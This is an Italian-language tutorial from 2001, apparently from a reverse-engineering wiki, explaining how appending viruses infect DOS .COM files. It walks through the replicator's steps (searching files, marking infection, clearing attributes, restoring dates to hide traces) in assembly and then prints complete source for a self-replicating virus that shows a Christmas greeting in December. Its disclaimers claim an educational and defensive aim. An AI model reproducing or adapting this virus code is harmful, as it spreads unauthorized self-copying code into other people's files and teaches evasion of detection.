Funzionamento di un Virus
From UIC
Virus
Contents |
| Infos | |
|---|---|
| Author: | b0nu$ |
| Email: | bonus@numerica.it |
| Website: | |
| Date: | 01/01/2001 (dd/mm/yyyy) |
| Level: |
|
| Language: | Italian |
| Comments: | |
Introduzione
Questa volta parleremo dei virus, quei simpatici programmini che ti ritrovi
per caso sul tuo Hard Disk e che mandano in crisi il tuo PC.
Ora, tutto quello che spiegherò in questo tutorial non deve essere usato per scrivere nuovi e più potenti virus ma solo per imparare l'arte della programmazione in Assembler e anche per imparare a proteggersi da questo genere di attacchi.
Quindi non mi ritengo responsabile degli eventuali danni che apporterete al
vostro computer o a quello dei vostri amici. Stateci attenti.
Vedremo solo virus in grado di infettare i file .COM anche se oggi non se ne trovano più tanti (di file COM!), in particolare tratterò gli appending viruses, cioè quelli che si agganciano alla fine del file senza distruggerlo.
Essay
Un virus è composto principalmente da due parti : il replicatore e la cosiddetta "bomb".
Il replicatore è quella parte del programma virus che permette a quest'ultimo di replicarsi in modo da infettare quanti più file possibile, la bomb è la parte più divertente ed è quella che svolge l'operazione per cui e stato designato il virus questa va dalla semplice visualizzazione di un messaggio alla distruzione della FAT area, dipende solo dalla fantasia del programmatore.
IL REPLICATORE
Il compito del replicatore come abbiamo già detto è quello di duplicarsi infettando altri files.
Come si può fare?
Consideriamo un pgm (.COM) esso può essere scomposto in 2 parti:
| P1 | P2 |
Anche il virus essendo un pgm può essere cosi diviso:
| V1 | V2 |
I passi che il virus deve eseguire per replicarsi sono i seguenti:
Il virus salva P1 in fondo al file vittima.com e al suo posto ci copia V1, avremo la seguente situazione:
| V1 | P2 | P1 |
Ora il virus copia la seconda parte (V2) in fondo al file:
| V1 | P2 | P1 | V2 |
Vi starete chiedendo che ca.. c'è dentro V1 e V2.
Il compito di V1 è quello di passare il controllo a V2 e consiste in un salto,
così quando eseguo il programma infetto la prima cosa che si fa è saltare al
codice del virus contenuta in V2. Una volta eseguito V2 il controllo torna al
programma.
Semplice vero? Beh non proprio.
Vediamo meglio quali sono i passi che deve svolgere il replicatore per infettare
un file:
- Cerca il file da infettare
- Controlla se è già infetto
- Se si torna a 1
- Infettalo!!
- Torna a 1 oppure esci se ne hai abbastanza
Vediamole nel dettaglio:
PASSO 1 - Cerco il file da infettare
Si può decidere se cercare i file solo nella directory corrente oppure cambiare dir. per avere più possibilità di diffondersi. Cercare in piu' directory può rallentare l'esecuzione del programma al quale è attaccato e può quindi sollevare sospetti nell'utente, quindi state attenti. Per cercare un file devo ricorrere al DTA (Disk Transfer Area) che è una struttura del DOS (Andatela a vedere in qualche Tech. Ref.), il codice può essere una cosa del tipo:
lea dx,[bp+OFFSET DTA] ;una variabile di nome DTA (!!)
int 21h
mov ah,4Eh ;cerca il primo file
mov cx,0007h ;Qualsiasi attributo
lea dx,[bp+OFFSET file_mask] ;DS:[DX] --> file_mask
int 21h
jc non_trovato ;non l'ha trovato
ancora: call controlla_infezione ;guarda se è gia infetto
;se non lo è lo infetta
mov ah,4Fh ;cerca il prox
int 21h
jnc ancora
non_trovato:
In questo frammento file_mask può essere '*.*' '*.EXE' o come useremo noi '*.COM'.
PASSO 2 - Controlla se è già infetto
Un metodo abbastanza semplice per sapere se un file è già infetto o meno è di memorizzare un ID durante l'infezione in modo da poterlo trovare la volta successiva.
Ad esempio:
mov cx,4 ;e li mette in buffer
lea dx,[bp+OFFSET buffer]
int 21h
cmp byte ptr [buffe+3],ID_Byte ;controllo il 4 byte
je gia_fatto ;se sono uguali è già infetto
infettalo:....
Un altro modo più complesso è quello di cerca una serie di istruzioni caratteristiche del virus.
PASSO 3 - Infettalo!!!
Questa è la parte piu' difficile e importante: il cuore del replicatore.
Una volta trovato il file da infettare si devono salvare i suoi attributi, la data, l'ora e la dimensione. Questi dati si trovano nel DTA come spiegato nella tabella seguente:
| Offset | Dimensione | Significato |
|---|---|---|
| 0h | 21 bytes | Riservati (?) |
| 15h | byte | Attributi del file |
| 16h | word | Ora |
| 18h | word | Data |
| 20h | dword | Dimensione |
| 1Eh | 13 bytes | Nome(ASCIIZ) + Estensione |
Come vedete nel DTA si trovano tutte le info necessarie, e per salvarle basta:
mov cx,9
lea di,[bp+OFFSET f_attr]
rep movsb
;variabili:
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?
Per poter infettare i file di systema, quelli nascosti ecc... dovete resettare gli attributi tramite l'int 21h,43h,01h.
Una volta fatto ciò potete aprire il file in lettura/scrittura ed effettuare l'infezione.
Dopo aver infettato il file (e lo vedremo nel dettaglio con un esempio) è importante cancellare le tracce dell'infezione ripristinando la data e l'ora e reimpostando gli attributi originali:
mov dx,WORD PTR [bp+f_date]
mov cx,WORD PTR [bp+f_time]
int 21h ;ripristina data e ora
mov ah,4301h
lea dx,[bp+OFFSET DTA + 1Eh]
xor ch,ch
mov cl,BYTE PTR [bp+f_attrib]
int 21h ;ripristina gli attributi
Al solito per capire meglio il tutto vi presento un semplice virus.
;NB Non mi assumo responsabilità sui danni causati da un uso incorretto di
;questo pgm.
;Si attiva solo nel mese di Dicembre e visualizza gli auguri di Natale
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 100h ;file .COM
start:
db 0E9h,0,0 ;Salta al prox comando
virus:
call inizio ;Salva l'indirizzo nello stack
inizio:
pop bp ;Setta BP
sub bp,offset inizio
lea si,[bp+offset oldjump] ;Indirizzo vecchio
mov di,100h
;Salvo dove metterlo
push di ;cosi possiamo ritornare
movsb
movsb
movsb
lea dx,[bp+offset dta] ;Indirizzo del nuovo DTA
mov ah,1ah ;setta il DTA!!
int 21h
lea dx,[bp+offset comfilespec]
call findfirst ;cerca e infetta i file .com
call get_month ;Controlla in che mese siamo
cmp ax,000Ch ;E' 12?
jne skip ;Se no salta gli auguri
jmp short strt ;Si è Dicembre!
skip:
jmp dend ;Salta la routine
strt:
lea si,[bp + testo] ;SI punta al testo da scrivere
mov ah,0Eh ;Uso l'int 10h,0Eh per stampare
disp:
lodsb ;Carico il carattere
or al,al ;Se è 0 è finita
je dend
int 010h ;visualizzo il car
jmp short disp ;prendo il prox carattere
dend:
mov dx,80h ;Indirizzo del DTA originale
;Lo rimetto dov'era
mov ah,1ah ;setta il DTA!!
int 21h
retn ;Ritorno al pgm
findfirst:
mov ah,4eh ;trova il primo file
mov cx,7 ;con questi attributi
findnext:
int 21h ;Trovo il prox
jc quit ;Se non trovo niente smetto
call infection ;Altrimenti infetto
Findnext2:
mov ah,4fh ;Cerco il prox
jmp findnext ;Ciclo
quit:
ret ;stop!
infection:
mov ax,3d00h ;Apro il file in lettura
call open
mov cx,1ah
lea dx,[bp+offset buffer] ;salvo i dati
mov ah,3fh ;Leggo
int 21h
mov ah,3eh ;chiudo il file
int 21h
CheckCom:
mov bx,[bp+offset dta+1ah] ;Prelevo la dimensione
mov cx,word ptr [bp+buffer+1] ;prelevo l'indirizzo del salto
add cx,eof-virus+3 ;e ci sommo la lunghezza del virus
cmp bx,cx ;controllo dimensione
jz quitinfect
jmp infectcom
quitinfect:
ret
InfectCom:
sub bx,3 ;setto per il nuovo salto
lea di,[bp+oldjump]
lea si,[bp+buffer]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ;salvo
mov cx,3 ;numero di byte da scrivere
jmp finishinfection
FinishInfection:
push cx ;salvo il numero di byte da scrivere
xor cx,cx ;azzero attributi
call attributes
mov al,2 ;apro il file in lett/scritt
call open
lea dx,[bp+buffer] ;dx punta ai dati
pop cx ;cx=numero byte
mov ah,40h ;scrivo
int 21h
jc closefile
mov al,02 ;sposto il puntatore in fondo
Call move_fp
mov cx,eof-virus ;dimensione virus
lea dx,[bp+offset virus] ;indirizzo di inizio
mov ah,40h ;scrivo il virus
int 21h
closefile:
mov ax,5701h ;ripristina ora e data
mov dx,word ptr [bp+dta+18h]
mov cx,word ptr [bp+dta+16h] ;sono ne DTA!!
int 21h
mov ah,3eh ;chiudo il file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ;Prendo i vecchi attrib.
call attributes
retn
move_fp: ;muove il puntatore
xor cx,cx ;del file ad al
xor dx,dx
mov ah,42h
int 21h
retn
open:
lea dx,[bp+DTA+30] ;il nome è nel DTA
mov ah,3dh ;apre il file
int 21h
xchg ax,bx ;bx contine l'handle
ret
attributes:
lea dx,[bp+DTA+30]
mov ax,4301h ; setta gli attrib.
int 21h
ret
get_month proc near
mov ah,02Ah ;Preleva la data
int 021h
mov al,dh ;al=mese
cbw ;estende ad ax
ret
get_month endp
testo db 13,10,13,10,"Boun Natale a tutti !!!",13,10,0
comfilespec db '*.com',0 ;file da cercare
oldjump db 090h,0CDh,020h ;Vecchio jump
eof equ $ ;Segna la fine del file
buffer db 1Ah dup(?)
dta db 42 dup(?)
code ends
end start
Note Finali
Il programma mi sembra già abbastanza commentato quindi non spenderò altro tempo per rispiegarvi cose già dette.
Vi prego ancora una volta di stare attenti a giocare con questi programmi.
bonus@numerica.it
Disclaimer
I documenti qui pubblicati sono da considerarsi pubblici e liberamente distribuibili, a patto che se ne citi la fonte di provenienza. Tutti i documenti presenti su queste pagine sono stati scritti esclusivamente a scopo di ricerca, nessuna di queste analisi è stata fatta per fini commerciali, o dietro alcun tipo di compenso. I documenti pubblicati presentano delle analisi puramente teoriche della struttura di un programma, in nessun caso il software è stato realmente disassemblato o modificato; ogni corrispondenza presente tra i documenti pubblicati e le istruzioni del software oggetto dell'analisi, è da ritenersi puramente casuale. Tutti i documenti vengono inviati in forma anonima ed automaticamente pubblicati, i diritti di tali opere appartengono esclusivamente al firmatario del documento (se presente), in nessun caso il gestore di questo sito, o del server su cui risiede, può essere ritenuto responsabile dei contenuti qui presenti, oltretutto il gestore del sito non è in grado di risalire all'identità del mittente dei documenti. Tutti i documenti ed i file di questo sito non presentano alcun tipo di garanzia, pertanto ne è sconsigliata a tutti la lettura o l'esecuzione, lo staff non si assume alcuna responsabilità per quanto riguarda l'uso improprio di tali documenti e/o file, è doveroso aggiungere che ogni riferimento a fatti cose o persone è da considerarsi PURAMENTE casuale. Tutti coloro che potrebbero ritenersi moralmente offesi dai contenuti di queste pagine, sono tenuti ad uscire immediatamente da questo sito.
Vogliamo inoltre ricordare che il Reverse Engineering è uno strumento tecnologico di grande potenza ed importanza, senza di esso non sarebbe possibile creare antivirus, scoprire funzioni malevoli e non dichiarate all'interno di un programma di pubblico utilizzo. Non sarebbe possibile scoprire, in assenza di un sistema sicuro per il controllo dell'integrità, se il "tal" programma è realmente quello che l'utente ha scelto di installare ed eseguire, né sarebbe possibile continuare lo sviluppo di quei programmi (o l'utilizzo di quelle periferiche) ritenuti obsoleti e non più supportati dalle fonti ufficiali.
Categories: Assembly | B0nu$ | 2001